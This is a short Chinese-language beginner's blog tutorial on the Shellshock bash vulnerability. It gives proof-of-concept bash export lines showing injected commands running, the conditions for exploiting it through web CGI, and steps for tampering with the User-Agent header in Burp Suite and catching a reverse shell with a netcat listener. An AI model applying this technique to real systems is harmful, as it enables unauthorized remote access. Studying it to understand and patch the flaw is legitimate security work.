0x00 破殼漏洞原理
在bash裡邊輸入
~ export name='() { echo "inside name";}; echo "outside name";'
查看環境變數
~ env|grep name~ name=() { echo "inside name";}; echo "outside name";
這時你會發現當進入子shell的時候,直接輸出 outside name
~ bash~ outside name
還要進入子shell才可以成功執行代碼,於是問題來了
— 如果能一句話解決進入子shell並且輸出就能利用—
然後聰明的駭客就嘗試構造實現如此功能的語句
~ export name='() { :;}; echo outside name';bash
輸入斷行符號,直接顯示輸出的內容
~ outside name
0x01 利用條件
- web對bash進行調用,因為漏洞是存在bash裡邊的
- web會將我們可控的參數傳入環境變數裡邊
- 確定目標bash版本是存在漏洞的
- 能夠將返回結果返回過來
0x02 利用過程
首先登陸目標的網站,訪問指定目錄,發現確實在環境變數裡邊存入了我們訪問的user-agent
然後進行構造user-agent,可以使用burpsuite抓包修改,或者Firefox瀏覽器用user agent switch外掛程式來修改
我這裡使用burpsuite抓包,首先設定瀏覽器的代理
配置完成以後,再次訪問目標網頁,然後請求包就會在burpsuite裡邊被攔截,修改user-agent
當然,我們的目的是反彈一個shell回來,需要開啟一個終端,然後監聽user-agent裡邊所寫的連接埠,這時候開啟一個終端 輸入
nc -l -p 8888 (-l 為監聽模式 -p指定連接埠)
然後再burpsuite裡邊點擊forward(轉寄),之後就可以看到剛才輸入nc -l -p 8888
的下邊出現了一個不屬於自己的shell,到這裡,就成功的反彈了一個shell
第一次認真記錄過程,大牛繞過,同為小白,共同進步